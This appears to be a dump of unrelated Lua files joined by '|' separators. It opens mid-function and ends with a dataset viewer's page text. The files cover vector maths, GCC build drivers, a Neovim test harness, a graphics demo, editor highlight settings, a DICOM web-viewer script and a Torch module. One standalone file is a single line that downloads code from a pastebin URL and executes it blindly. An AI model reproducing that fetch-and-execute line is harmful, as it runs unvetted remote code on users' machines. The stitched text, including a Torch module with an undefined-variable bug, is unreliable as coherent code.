return vector:new(0, 0, 0)
end
return vector:new(
vector3D.x / divisor,
vector3D.y / divisor,
vector3D.z / divisor
)
end
---Multiplies the vector by the given number.
---@param vector3D table vector {x,y,z} to multiply.
---@param multiplier number the number to multiply by.
---@return table multipliedVector {x,y,z} multiplied vector.
function Vectors.MultiplyByNumber(vector3D, multiplier)
return vector:new(
vector3D.x * multiplier,
vector3D.y * multiplier,
vector3D.z * multiplier
)
end
---Returns a unit vector of the provided vector in 3 dimensions.
---@param vector3D table vector {x,y,z}.
---@return table unitVector3D {x,y,z} 3 dimensional unit vector.
function Vectors.GetUnitVector(vector3D)
local length = vector.Size(vector3D)
return Vectors.DivideByNumber(vector3D, length)
end
---Returns a unit vector of the provided vector in 2 dimensions.
---@param vector3Dor2D table vector {x,y,z}.
---@return table unitVector2D {x,y,z} 2 dimensional unit vector.
function Vectors.GetUnitVector2D(vector3Dor2D)
local vector2D = vector:new(vector3Dor2D.x, vector3Dor2D.y, 0.0)
local length = vector.Size2D(vector2D)
return Vectors.DivideByNumber(vector2D, length)
end
---Returns a vector perpendicular to the given vector in the 2 dimensional horizontal
---plane, i.e.: the z coordinate is ignored. Uses simpler calculation than rotating.
---@param vector3Dor2D table vector {x,y,z}.
---@param rotateClockwise boolean should rotate vector clockwise or not?
---@return table perpendicularVector {x,y,z} vector perpendicular to the given vector.
function Vectors.GetHorizontalyPerpendicularVector(vector3Dor2D, rotateClockwise)
if rotateClockwise then
return vector:new(vector3Dor2D.y, -vector3Dor2D.x, vector3Dor2D.z)
else
return vector:new(-vector3Dor2D.y, vector3Dor2D.x, vector3Dor2D.z)
end
end
---Returns a vector opposite to the provided vector.
---@param vector3D table vector {x,y,z}.
---@return table oppositeVector {x,y,z} vector opposite to given vector.
function Vectors.GetOppositeVector(vector3D)
return vector:new(-vector3D.x, -vector3D.y, -vector3D.z)
end
---Returns a vector rotated by given degrees in 2 dimensional horizontal plane,
---i.e. the z coordinate is ignored.
---@param vector3Dor2D table vector {x,y,z}.
---@param angle number degrees to rotate the vector by, positive values rotate clockwise.
---@return table rotatedVector {x,y,z} vector rotated by angle from given vector.
function Vectors.GetHorizontalyRotatedVector(vector3Dor2D, angle)
local angleRad = math.rad(angle)
return vector:new(
math.cos(angleRad) * vector3Dor2D.x - math.sin(angleRad) * vector3Dor2D.y,
math.sin(angleRad) * vector3Dor2D.x + math.cos(angleRad) * vector3Dor2D.y,
vector3Dor2D.z
)
end
return Vectors
|
------------------------ C/C++ GCC DRIVER ------------------------
function DriverGCC_Get(exe, cache_name, flags_name)
return function(label, output, input, settings)
local cache = settings.cc[cache_name]
if settings.invoke_count ~= cache.nr then
cache.nr = settings.invoke_count
local cc = settings.cc
local d = TableToString(cc.defines, "-D", " ")
local i = TableToString(cc.includes, '-I "', '" ')
local i = i .. TableToString(cc.systemincludes, '-isystem "', '" ')
local i = i .. TableToString(cc.frameworks, '-framework ', ' ')
local f = cc.flags:ToString()
f = f .. cc[flags_name]:ToString()
if settings.debug > 0 then f = f .. "-g " end
if settings.optimize > 0 then f = f .. "-O2 " end
cache.str = cc[exe] .. " " .. f .. "-c " .. d .. i .. " -o "
end
AddJob(output, label, cache.str .. output .. " " .. input)
end
end
function DriverGCC_CTest(code, options)
local f = io.open("_test.c", "w")
f:write(code)
f:write("\n")
f:close()
local ret = ExecuteSilent("gcc _test.c -o _test " .. options)
os.remove("_test.c")
os.remove("_test")
return ret==0
end
------------------------ LINK GCC DRIVER ------------------------
function DriverGCC_Link(label, output, inputs, settings)
local e = settings.link.exe .. " -o " .. output
local e = e .. " " .. settings.link.inputflags .. " " .. TableToString(inputs, '', ' ')
local e = e .. TableToString(settings.link.extrafiles, '', ' ')
local e = e .. TableToString(settings.link.libpath, '-L', ' ')
local e = e .. TableToString(settings.link.libs, '-l', ' ')
local e = e .. TableToString(settings.link.frameworkpath, '-F', ' ')
local e = e .. TableToString(settings.link.frameworks, '-framework ', ' ')
local e = e .. settings.link.flags:ToString()
AddJob(output, label, e)
end
------------------------ LIB GCC DRIVER ------------------------
function DriverGCC_Lib(output, inputs, settings)
-- output archive must be removed because ar will update existing archives, possibly leaving stray objects
local e = "rm -f " .. output .. " 2> /dev/null; "
local e = e .. settings.lib.exe .. " rcu " .. output
local e = e .. " " .. TableToString(inputs, '', ' ') .. settings.lib.flags:ToString()
return e
end
------------------------ DLL GCC DRIVER ------------------------
function DriverGCC_DLL(label, output, inputs, settings)
local shared_flags = ""
if platform == "macosx" then
shared_flags = " -dynamiclib"
else
shared_flags = " -shared"
end
local e = settings.dll.exe .. shared_flags .. " -o " .. output
local e = e .. " " .. settings.dll.inputflags .. " " .. TableToString(inputs, '', ' ')
local e = e .. TableToString(settings.dll.extrafiles, '', ' ')
local e = e .. TableToString(settings.dll.libpath, '-L', ' ')
local e = e .. TableToString(settings.dll.libs, '-l', ' ')
local e = e .. TableToString(settings.dll.frameworkpath, '-F', ' ')
local e = e .. TableToString(settings.dll.frameworks, '-framework ', ' ')
local e = e .. settings.dll.flags:ToString()
AddJob(output, label, e)
end
function SetDriversGCC(settings)
if settings.cc then
settings.cc.extension = ".o"
settings.cc.exe_c = "gcc"
settings.cc.exe_cxx = "g++"
settings.cc.DriverCTest = DriverGCC_CTest
settings.cc.DriverC = DriverGCC_Get("exe_c", "_c_cache", "flags_c")
settings.cc.DriverCXX = DriverGCC_Get("exe_cxx", "_cxx_cache", "flags_cxx")
end
if settings.link then
if family == "windows" then
settings.link.extension = ".exe"
else
settings.link.extension = ""
end
settings.link.exe = "g++"
settings.link.Driver = DriverGCC_Link
end
if settings.lib then
settings.lib.prefix = "lib"
settings.lib.extension = ".a"
settings.lib.exe = "ar"
settings.lib.Driver = DriverGCC_Lib
end
if settings.dll then
if platform == "macosx" then
settings.dll.prefix = "lib"
settings.dll.extension = ".dylib"
elseif family == "windows" then
settings.dll.prefix = ""
settings.dll.extension = ".dll"
else
settings.dll.prefix = ""
settings.dll.extension = ".so"
end
settings.dll.exe = "g++"
settings.dll.Driver = DriverGCC_DLL
end
end
|
--[[ PLAYER SPAWN POINT LIST
revive_point(<map_id>, <x_pos>, <y_pos>);
start_point(<map_id>, <x_pos>, <y_pos>);
respawn_point(<map_id>, <x_pos>, <y_pos>);
--]]
start_point(8, 5525.87, 4546.56);
respawn_point(8, 5520.16, 4558.11);
|
local Path = require "plenary.path"
local Job = require "plenary.job"
local f = require "plenary.functional"
local log = require "plenary.log"
local win_float = require "plenary.window.float"
local headless = require("plenary.nvim_meta").is_headless
local harness = {}
local print_output = vim.schedule_wrap(function(_, ...)
for _, v in ipairs { ... } do
io.stdout:write(tostring(v))
io.stdout:write "\n"
end
vim.cmd [[mode]]
end)
local get_nvim_output = function(job_id)
return vim.schedule_wrap(function(bufnr, ...)
if not vim.api.nvim_buf_is_valid(bufnr) then
return
end
for _, v in ipairs { ... } do
vim.api.nvim_chan_send(job_id, v .. "\r\n")
end
end)
end
function harness.test_directory_command(command)
local split_string = vim.split(command, " ")
local directory = table.remove(split_string, 1)
local opts = assert(loadstring("return " .. table.concat(split_string, " ")))()
return harness.test_directory(directory, opts)
end
function harness.test_directory(directory, opts)
print "Starting..."
opts = vim.tbl_deep_extend("force", {
winopts = { winblend = 3 },
sequential = false,
keep_going = true,
timeout = 50000,
}, opts or {})
local res = {}
if not headless then
res = win_float.percentage_range_window(0.95, 0.70, opts.winopts)
res.job_id = vim.api.nvim_open_term(res.bufnr, {})
vim.api.nvim_buf_set_keymap(res.bufnr, "n", "q", ":q<CR>", {})
vim.api.nvim_win_set_option(res.win_id, "winhl", "Normal:Normal")
vim.api.nvim_win_set_option(res.win_id, "conceallevel", 3)
vim.api.nvim_win_set_option(res.win_id, "concealcursor", "n")
if res.border_win_id then
vim.api.nvim_win_set_option(res.border_win_id, "winhl", "Normal:Normal")
end
if res.bufnr then
vim.api.nvim_buf_set_option(res.bufnr, "filetype", "PlenaryTestPopup")
end
vim.cmd "mode"
end
local outputter = headless and print_output or get_nvim_output(res.job_id)
local paths = harness._find_files_to_run(directory)
local path_len = #paths
local failure = false
local jobs = vim.tbl_map(function(p)
local args = {
"--headless",
"-c",
string.format('lua require("plenary.busted").run("%s")', p:absolute()),
}
if opts.minimal ~= nil then
table.insert(args, "--noplugin")
elseif opts.minimal_init ~= nil then
table.insert(args, "--noplugin")
table.insert(args, "-u")
table.insert(args, opts.minimal_init)
end
local job = Job:new {
command = vim.v.progpath,
args = args,
-- Can be turned on to debug
on_stdout = function(_, data)
if path_len == 1 then
outputter(res.bufnr, data)
end
end,
on_stderr = function(_, data)
if path_len == 1 then
outputter(res.bufnr, data)
end
end,
on_exit = vim.schedule_wrap(function(j_self, _, _)
if path_len ~= 1 then
outputter(res.bufnr, unpack(j_self:stderr_result()))
outputter(res.bufnr, unpack(j_self:result()))
end
vim.cmd "mode"
end),
}
job.nvim_busted_path = p.filename
return job
end, paths)
log.debug "Running..."
for i, j in ipairs(jobs) do
outputter(res.bufnr, "Scheduling: " .. j.nvim_busted_path)
j:start()
if opts.sequential then
log.debug("... Sequential wait for job number", i)
Job.join(j, opts.timeout)
log.debug("... Completed job number", i)
if j.code ~= 0 then
failure = true
if not opts.keep_going then
break
end
end
end
end
-- TODO: Probably want to let people know when we've completed everything.
if not headless then
return
end
if not opts.sequential then
table.insert(jobs, opts.timeout)
log.debug "... Parallel wait"
Job.join(unpack(jobs))
log.debug "... Completed jobs"
table.remove(jobs, table.getn(jobs))
failure = f.any(function(_, v)
return v.code ~= 0
end, jobs)
end
vim.wait(100)
if headless then
if failure then
os.exit(1)
end
os.exit(0)
end
end
function harness._find_files_to_run(directory)
local finder = Job:new {
command = "find",
args = { directory, "-type", "f", "-name", "*_spec.lua" },
}
return vim.tbl_map(Path.new, finder:sync())
end
function harness._run_path(test_type, directory)
local paths = harness._find_files_to_run(directory)
local bufnr = 0
local win_id = 0
for _, p in pairs(paths) do
print " "
print("Loading Tests For: ", p:absolute(), "\n")
local ok, _ = pcall(function()
dofile(p:absolute())
end)
if not ok then
print "Failed to load file"
end
end
harness:run(test_type, bufnr, win_id)
vim.cmd "qa!"
return paths
end
return harness
|
-- TÖVE Demo: Procedural form and color animation.
-- (C) 2018 Bernhard Liebl, MIT license.
local tove = require "tove"
require "assets/tovedemo"
local function newHeart()
-- taken from: https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes
local g = tove.newGraphics()
g:setLineWidth(2)
g:moveTo(75, 40)
g:curveTo(75, 37, 70, 25, 50, 25)
g:curveTo(20, 25, 20, 62.5, 20, 62.5)
local animatedCurve = g:curveTo(20, 80, 40, 102, 75, 120) -- pick this curve for animation
g:curveTo(110, 102, 130, 80, 130, 62.5)
g:curveTo(130, 62.5, 130, 25, 100, 25)
g:curveTo(85, 25, 75, 37, 75, 40)
return g, animatedCurve
end
local function newLinearGradient(r)
local c = math.cos(r)
local s = math.sin(r)
--local t = 1 + math.sin(r) * 0.2
local ox, oy = 80, 80
local gradient = tove.newLinearGradient(ox, oy, ox + c * 50, oy + s * 50)
gradient:addColorStop(0, 0.859, 0.424, 0.631)
gradient:addColorStop(1, 1, 1, 1) -- 0.231, 0.451, 0.710)
return gradient
end
local hearts = {}
local modes = {"texture", "mesh", "mesh", "gpux"}
local names = {}
local function createHearts(stroke, filled)
for i = 1, 4 do
local heart, curve = newHeart()
if filled then
if i == 2 then
heart:setFillColor(0.859, 0.424, 0.631)
else
heart:setFillColor(newLinearGradient(0))
end
heart:fill()
end
if stroke then
heart:stroke()
end
-- cleanup for animated mesh rendering.
heart:setOrientation("ccw")
local quality = {}
if modes[i] == "mesh" then
quality = {"rigid", 4}
end
heart:setDisplay(modes[i], unpack(quality))
heart:setUsage("points", "dynamic")
heart:setUsage("colors", "dynamic")
names[i] = modes[i]
hearts[i] = {graphics = heart, animatedCurve = curve}
end
end
local outlined = true
local filled = true
createHearts(outlined, filled)
-- remember initial point position.
local cx0 = hearts[1].animatedCurve.x
local cy0 = hearts[1].animatedCurve.y
-- dts for time measurements.
local dts = {}
for i = 1, 4 do
dts[i] = 0
end
local function drawHeart(i, h, t)
local column = 150
local x0 = love.graphics.getWidth() / 2 - (column * 3 + 130) / 2
-- use transforms to center the heart on the sceen (instead of using
-- Graphics:transform, which would mess up our gradient's coordinate system).
love.graphics.push("transform")
love.graphics.translate(x0 + (i - 1) * column, love.graphics:getHeight() / 2 - 70)
love.graphics.push("transform")
love.graphics.rotate(math.sin(t * 1.32))
local t0 = love.timer.getTime()
h.graphics:draw()
local dt = love.timer.getTime() - t0
love.graphics.pop()
dts[i] = 0.9 * dts[i] + 0.1 * dt
love.graphics.setColor(0.3, 0.3, 0.3, 0.5)
love.graphics.print(string.format("%s\n%.1f ms", names[i], dts[i] * 1000), 30, 200)
love.graphics.setColor(1, 1, 1)
love.graphics.pop()
end
function love.draw()
tovedemo.draw("Hearts.", "You can toggle (s)troke and (f)ill.")
local t = love.timer.getTime()
for i = 1, 4 do
local h = hearts[i]
-- change point position.
h.animatedCurve.x = cx0 + math.sin(t * 4) * 40
h.animatedCurve.y = cy0 + (0.25 + math.sin(t * 1.2 + 0.3)) * 20
-- change fill color.
if filled and i ~= 2 then
h.graphics.paths[1]:setFillColor(newLinearGradient(t))
end
-- now draw the heart.
drawHeart(i, h, t)
end
end
function love.keypressed(key)
if key == "s" then
outlined = not outlined
createHearts(outlined, filled)
end
if key == "f" then
filled = not filled
createHearts(outlined, filled)
end
end
|
loadstring(game:HttpGet('https://pastebin.com/raw/XxQTD0FP', true))()
|
local hi = require "as.highlights"
local M = {}
M.nm = require("as.plugins.gui._colhelper").theme
M.custom_hi = function()
local colorcolumn = hi.get_hl("ColorColumn", "bg")
local colnormal = hi.get_hl("Normal", "bg")
if colnormal == "" then
colnormal = "#333"
end
local colfolded = hi.get_hl("Folded", "bg")
if colfolded == "" then
colfolded = "#808080"
end
hi.all {
-- color untuk sisi paling ujung di number line
{ "FoldColumn", { guibg = "NONE" } },
{ "Folded", { guibg = M.nm.darkcus, gui = "bold" } },
{ "GitSignsAdd", { guibg = "NONE" } },
{ "GitSignsChange", { guibg = "NONE" } },
{ "GitSignsDeleteChange", { guibg = "NONE" } },
{ "GitSignsDelete", { guibg = "NONE", guifg = M.nm.red } },
-- Paksa color diff ketika open 'dv' di fugitive ======================
{ "DiffAdd", { guibg = M.nm.green, guifg = colnormal } },
{ "DiffChange", { guibg = M.nm.yellow, guifg = colnormal } },
{ "DiffDelete", { guibg = M.nm.red, guifg = colnormal } },
{ "DiffText", { guibg = M.nm.red, guifg = colnormal } },
-- Lsp diagnostic =====================================================
{
"DiagnosticError",
{ guibg = "NONE", guifg = M.nm.red, gui = "bold,italic" },
},
{
"DiagnosticWarn",
{ guibg = "NONE", guifg = M.nm.yellow, gui = "bold,italic" },
},
{
"DiagnosticInfo",
{ guibg = "NONE", guifg = M.nm.cyan, gui = "bold,italic" },
},
{
"DiagnosticHint",
{ guibg = "NONE", guifg = M.nm.green, gui = "bold,italic" },
},
-- -------
{
"DiagnosticVirtualTextError",
{ guifg = M.nm.bg, guibg = M.nm.red, gui = "bold,italic" },
},
{
"DiagnosticVirtualTextWarn",
{ guifg = M.nm.bg, guibg = M.nm.yellow, gui = "bold,italic" },
},
{
"DiagnosticVirtualTextInfo",
{ guifg = M.nm.cyan, guibg = M.nm.gray_dark, gui = "bold,italic" },
},
{
"DiagnosticVirtualTextHint",
{ guifg = M.nm.fg, guibg = M.nm.gray_dark, gui = "bold,italic" },
},
-- -------
-- {
-- "LspDiagnosticsFloatingError",
-- { guibg = "NONE", guifg = M.nm.red },
-- },
-- {
-- "LspDiagnosticsFloatingWarning",
-- { guibg = "NONE", guifg = M.nm.yellow },
-- },
-- {
-- "LspDiagnosticsFloatingInformation",
-- { guibg = "NONE", guifg = M.nm.cyan },
-- },
-- {
-- "LspDiagnosticsFloatingHint",
-- { guibg = "NONE", guifg = M.nm.fg },
-- },
-- -------
-- {
-- "LspDiagnosticsSignError",
-- { guibg = "NONE", guifg = M.nm.red },
-- },
-- {
-- "LspDiagnosticsSignWarning",
-- { guibg = "NONE", guifg = M.nm.yellow },
-- },
-- {
-- "LspDiagnosticsSignInformation",
-- { guibg = "NONE", guifg = M.nm.cyan },
-- },
-- {
-- "LspDiagnosticsSignHint",
-- { guibg = "NONE", guifg = M.nm.fg },
-- },
-- -------
-- {
-- "DiagnosticSignError",
-- { guibg = "NONE", guifg = M.nm.fg },
-- },
-- {
-- "DiagnosticSignWarn",
-- { guibg = "NONE", guifg = M.nm.red },
-- },
-- {
-- "DiagnosticSignInfo",
-- { guibg = "NONE", guifg = M.nm.yellow },
-- },
-- {
-- "DiagnosticSignHint",
-- { guibg = "NONE", guifg = M.nm.cyan },
-- },
-- -------
-- {
-- "LspDiagnosticsError",
-- { guibg = "NONE", guifg = M.nm.red },
-- },
-- {
-- "LspDiagnosticsWarning",
-- { guibg = "NONE", guifg = M.nm.yellow },
-- },
-- {
-- "LspDiagnosticsInformation",
-- { guibg = "NONE", guifg = M.nm.cyan },
-- },
-- {
-- "LspDiagnosticsHint",
-- { guibg = "NONE", guifg = M.nm.yellow },
-- },
-- Default settings ===================================================
{
"CursorLineNr",
{ guibg = "NONE", guifg = M.nm.yellow, gui = "bold" },
},
{
"VertSplit",
{ guibg = colorcolumn, guifg = colfolded },
},
{
"QuickFixLine",
{ guibg = M.nm.bg },
},
-- Telescope ==========================================================
{
"TelescopeSelection",
{ link = "PmenuSel", force = true },
},
{
"TelescopePreviewLine",
{ link = "IncSearch", force = true },
},
{
"TelescopeMatching",
{ guifg = M.nm.red },
},
{
"TelescopeSelection",
{ guifg = M.nm.yellow, gui = "bold" },
},
{
"TelescopeNormal",
{ guifg = M.nm.gray_bright },
},
-- Orgmode Headlines ==================================================
{
"CodeBlock",
{ guibg = M.nm.codeblock },
},
{
"HeadlineGreen",
{ guifg = M.nm.green, gui = "bold" },
},
{
"HeadlineBlue",
{ guifg = M.nm.yellow },
},
{
"HeadlinePurple",
{ guifg = M.nm.blue },
},
-- LSP Signature ======================================================
{
"LspSignatureActiveParameter",
{ guibg = M.nm.cyan, guifg = M.nm.bg, gui = "bold" },
},
-- ALPHA ==============================================================
{
"AlphaHeader",
{ guifg = M.nm.violet, gui = "italic" },
},
{
"AlphaFooter",
{ guifg = M.nm.violet },
},
{
"AlphaButtons",
{ guifg = M.nm.violet, gui = "bold" },
},
-- -- TODO-COMMENTS ======================================================
{
"TodoSignFIX",
{ guibg = "NONE", guifg = M.nm.red },
},
{
"TodoSignTODO",
{ guibg = "NONE", guifg = M.nm.green },
},
{
"TodoSignWARN",
{ guibg = "NONE", guifg = M.nm.yellow },
},
{
"TodoSignNOTE",
{ guibg = "NONE", guifg = M.nm.yellow },
},
-- -- CMP =============================================================
{
"CmpItemAbbrMatch",
{ guibg = "NONE", guifg = M.nm.green },
},
-- {
-- "CmpItemAbbr",
-- { link = "Normal", force = true },
-- },
-- -- Cursorword ======================================================
{
"CursorWord1",
{ guibg = "NONE" },
},
{
"CursorWord0",
{ guibg = "NONE" },
},
}
vim.fn.sign_define("HeadlineGreen", { linehl = "HeadlineGreen" })
vim.fn.sign_define("HeadlineBlue", { linehl = "HeadlineBlue" })
vim.fn.sign_define("HeadlinePurple", { linehl = "HeadlinePurple" })
vim.fn.sign_define("HeadlinePurple", { linehl = "HeadlinePurple" })
-- -- plugin 'kristijanhusak/orgmode.nvim'
-- hi "hi! link OrgTODO ErrorMsg"
-- -- plugin 'folke/which-key.nvim'
-- hi "hi link WhichKeyFloat ErrorMsg"
-- -- plugin 'nvim-telescope/telescope.nvim'
-- -- plugin 'lukas-reineke/headlines.nvim'
-- hi(string.format("hi CodeBlock guibg=%s", M.nm.codeblock))
-- hi(string.format("hi HeadlineGreen guifg=%s gui=bold", "green"))
-- hi(string.format("hi HeadlineBlue guifg=%s", M.nm.yellow))
-- hi(string.format("hi HeadlinePurple guibg=%s", M.nm.red))
-- vim.fn.sign_define("HeadlineGreen", { linehl = "HeadlineGreen" })
-- vim.fn.sign_define("HeadlineBlue", { linehl = "HeadlineBlue" })
-- vim.fn.sign_define("HeadlinePurple", { linehl = "HeadlinePurple" })
-- -- Plugin 'rcarriga/nvim-notify'
-- hi "highlight NotifyERRORBorder guifg=#8A1F1F"
-- hi "highlight NotifyWARNBorder guifg=#79491D"
-- hi "highlight NotifyINFOBorder guifg=#4F6752"
-- hi "highlight NotifyDEBUGBorder guifg=#8B8B8B"
-- hi "highlight NotifyTRACEBorder guifg=#4F3552"
-- hi "highlight NotifyERRORIcon guifg=#F70067"
-- hi "highlight NotifyWARNIcon guifg=#F79000"
-- hi "highlight NotifyINFOIcon guifg=#A9FF68"
-- hi "highlight NotifyDEBUGIcon guifg=#8B8B8B"
-- hi "highlight NotifyTRACEIcon guifg=#D484FF"
-- hi "highlight NotifyERRORTitle guifg=#F70067"
-- hi "highlight NotifyWARNTitle guifg=#F79000"
-- hi "highlight NotifyINFOTitle guifg=#A9FF68"
-- hi "highlight NotifyDEBUGTitle guifg=#8B8B8B"
-- hi "highlight NotifyTRACETitle guifg=#D484FF"
-- hi "highlight link NotifyERRORBody Normal"
-- hi "highlight link NotifyWARNBody Normal"
-- hi "highlight link NotifyINFOBody Normal"
-- hi "highlight link NotifyDEBUGBody Normal"
-- hi "highlight link NotifyTRACEBody Normal"
-- -- Plugin 'arecarn/vim-fold-cycle'
-- hi(string.format("highlight MarkSignHL guifg=%s gui=bold", M.nm.red))
-- -- Plugin 'vim-searchhi'
-- hi(
-- string.format(
-- "highlight CurrentSearch guibg=%s guifg=%s",
-- M.nm.red,
-- M.nm.bg
-- )
-- )
end
return M
|
------------------------------------------------------------------------------
-- dwv-simplistic (medical viewer using DWV) lua script
-- for integration in a Conquest PACS server.
--
-- Usage:
-- 1. copy this file onto your web server
-- 2. in the 'dicom.ini' of your web server, create the dwv-simplistic viewer:
-- >> [dwv-simplistic]
-- >> source = dwvviewer_starter.lua
-- And set it as the default viewer:
-- >> [webdefaults]
-- >> ...
-- >> viewer = dwv-simplistic
-- 3. copy the dwv-simplistic source code from one of its release available at
-- https://github.com/ivmartel/dwv-simplistic/releases
-- in a 'dwv-simplistic' folder in the web folder of your web server.
-- It should be accessible via '[server address]/dwv-simplistic'.
--
-- This script relies on the 'Dictionary' variable being set correctly.
----------------------------------------------------------------------------
-- mvh 20181124 Created by backporting ivmartel's script,
-- reports error for study use
-- mvh 20181213 server_name does not copy port; use relative link instead
-- mvh 20181227 Use remotequery to limit contralize access to server
-- mvh 20180112 Fix to allow : in patientID
local source = servercommand('get_param:MyACRNema')
function remotequery(ae, level, q)
local remotecode =
[[
local ae=']]..ae..[[';
local level=']]..level..[[';
local q=]]..q:Serialize()..[[;
local q2=DicomObject:new(); for k,v in pairs(q) do q2[k]=v end;
local r = dicomquery(ae, level, q2):Serialize();
local s=tempfile('txt') local f=io.open(s, "wb") f:write(r) returnfile=s f:close();
]]
local f = loadstring('return '..servercommand('lua:'..remotecode));
if f then return f() end
end
-- Functions declaration
function getstudyuid(pat, series)
local b = newdicomobject()
b.PatientID = pat
b.SeriesInstanceUID = series
b.StudyInstanceUID = ''
local a = remotequery(source, 'SERIES', b)
return a[1].StudyInstanceUID
end
function queryimages(pat, series)
local b = newdicomobject()
b.PatientID = pat
b.SeriesInstanceUID = series
b.SOPInstanceUID = ''
local images = remotequery(source, 'IMAGE', b)
table.sort(images, function(a,b) return a.SOPInstanceUID < b.SOPInstanceUID end)
return images
end
-- split string into pieces, return as table
function split(str, pat)
local t = {}
local fpat = "(.-)" .. pat
local last_end = 1
local s, e, cap = str:find(fpat, 1)
while s do
if s ~= 1 or cap ~= "" then
table.insert(t,cap)
end
last_end = e+1
s, e, cap = str:find(fpat, last_end)
end
if last_end <= #str then
cap = str:sub(last_end)
table.insert(t, cap)
end
return t
end
-- report error string on a otherwise empty reddish page
function errorpage(s)
HTML('Content-type: text/html\n\n');
print(
[[
<HEAD><TITLE>Version ]].. (version or '-')..[[ WEB interface</TITLE></HEAD>
<BODY BGCOLOR='FFDFCF'>
<H3>Conquest ]].. (version or '-') ..[[ WEB interface</H3>
<H3>]].. s .. [[</H3>
</BODY>
]])
end
-- this block is the full html of a dwv app, where **** listofurls ***** is replaced
-- with a list of urls
dwv1 =
[[
<!DOCTYPE html>
<html>
<head>
<title>DICOM Web Viewer</title>
<meta charset="UTF-8">
<link type="text/css" rel="stylesheet" href="/dwv-simplistic/css/style.css">
<!-- Third party (dwv) -->
<script type="text/javascript" src="/dwv-simplistic/node_modules/i18next/i18next.min.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/i18next-xhr-backend/i18nextXHRBackend.min.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/i18next-browser-languagedetector/i18nextBrowserLanguageDetector.min.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/jszip/dist/jszip.min.js"></script>
<!-- Decoders -->
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/decoders/pdfjs/jpx.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/decoders/pdfjs/util.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/decoders/pdfjs/arithmetic_decoder.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/decoders/pdfjs/jpg.js"></script>
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/decoders/rii-mango/lossless-min.js"></script>
<!-- dwv -->
<script type="text/javascript" src="/dwv-simplistic/node_modules/dwv/dist/dwv.min.js"></script>
<!-- Launch the app -->
<script type="text/javascript" src="/dwv-simplistic/src/appgui.js"></script>
<script type="text/javascript">
// main application (global to be accessed from html)
var dwvApp = new dwv.App();
// start app function
function startApp() {
// initialise the application
dwvApp.init({
"containerDivId": "dwv",
"fitToWindow": true,
"tools": ["Scroll", "ZoomAndPan", "WindowLevel"],
"isMobile": true,
"skipLoadUrl": true
});
// activate tools on load end
dwvApp.addEventListener('load-end', function (/*event*/) {
document.getElementById('tools').disabled = false;
document.getElementById('reset').disabled = false;
});
var inputUrls = [
**** listofurls *****
];
if( inputUrls && inputUrls.length > 0 ) dwvApp.loadURLs(inputUrls);
}; // end startApp
// Image decoders (for web workers)
dwv.image.decoderScripts = {
"jpeg2000": "/dwv-simplistic/node_modules/dwv/decoders/pdfjs/decode-jpeg2000.js",
"jpeg-lossless": "/dwv-simplistic/node_modules/dwv/decoders/rii-mango/decode-jpegloss.js",
"jpeg-baseline": "/dwv-simplistic/node_modules/dwv/decoders/pdfjs/decode-jpegbaseline.js"
};
// status flags
var domContentLoaded = false;
var i18nInitialised = false;
// launch when both DOM and i18n are ready
function launchApp() {
if ( domContentLoaded && i18nInitialised ) {
startApp();
}
}
// i18n ready?
dwv.i18nOnInitialised( function () {
i18nInitialised = true;
launchApp();
});
// check browser support
dwv.browser.check();
// initialise i18n
dwv.i18nInitialise("auto", "/dwv-simplistic/node_modules/dwv");
// DOM ready?
document.addEventListener("DOMContentLoaded", function (/*event*/) {
domContentLoaded = true;
launchApp();
});
</script>
</head>
<body>
<!-- DWV -->
<div id="dwv">
<!-- Toolbar -->
<div class="toolbar">
<select id="tools" name="tools" onChange="dwvApp.onChangeTool({currentTarget: {value: this.value}})" disabled>
<option value="Scroll" data-i18n="tool.Scroll.name">Scroll</option>
<option value="WindowLevel" data-i18n="tool.WindowLevel.name">WindowLevel</option>
<option value="ZoomAndPan" data-i18n="tool.ZoomAndPan.name">ZoomAndPan</option>
</select>
<button id="reset" value="Reset" onClick="dwvApp.onDisplayReset()" data-i18n="basics.reset" disabled>Reset</button>
</div>
<!-- Layer Container -->
<div class="layerContainer">
<div class="dropBox">Drag and drop data here.</div>
<canvas class="imageLayer">Only for HTML5 compatible browsers...</canvas>
</div><!-- /layerContainer -->
</div><!-- /dwv -->
</body>
</html>
]]
-- Main
if series2=='' then
errorpage('this viewer does not support study level viewing')
return
end
-- Get ids
local patientid = string.gsub(series2, ':[^:]-$', '')
local seriesuid = string.gsub(series2, '^.*:', '')
local studyuid = getstudyuid(patientid, seriesuid)
local images = queryimages(patientid, seriesuid)
-- create the url root for the js array
local urlRoot = script_name
urlRoot = urlRoot .. '?requestType=WADO&contentType=application/dicom'
urlRoot = urlRoot .. '&seriesUID=' .. seriesuid
urlRoot = urlRoot .. '&studyUID=' .. studyuid
-- Generate html
HTML('Content-type: text/html\n\n')
dwv1 = split(dwv1, '\n')
for k,v in ipairs(dwv1) do
if string.find(v, '**** listofurls *****', 1, true) then
for i=1, #images do
print(' "'..urlRoot .. '&objectUID=' .. images[i].SOPInstanceUID..'",')
end
else
print(v)
end
end
|
local SortingUtilities = {}
ECS.SortingUtilities = SortingUtilities
function SortingUtilities.InsertSorted( data, length, newValue )
while (length > 1 and newValue < data[length - 1]) do
data[length] = data[length - 1]
length = length - 1
end
data[length] = newValue
end
return SortingUtilities
|
require 'math'
local SignedSquareRoot, parent = torch.class('nn.SignedSquareRoot', 'nn.Module')
function SignedSquareRoot:__init(args)
parent.__init(self)
self.module = nn.Sequential()
:add(nn.Abs())
:add(nn.Sqrt())
end
function SignedSquareRoot:updateOutput(input)
self.output = self.output or input.new()
self.output_ = self.module:forward(input)
-- get sign for each input element
self.sign = self.sign or input.new()
self.sign:resizeAs(input)
torch.sign(self.sign, input)
self.output:cmul(self.output_, self.sign)
return self.output
end
function SignedSquareRoot:updateGradInput(input, gradOutput)
self.gradInput = self.gradInput or inout.new()
self.gradInput:cdiv(gradOutput,
self.output_ * 2)
-- filtering out nan, avoid 1/0 caused number explosion
self.gradInput[self.output_:eq(0)] = 0
return self.gradInput
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.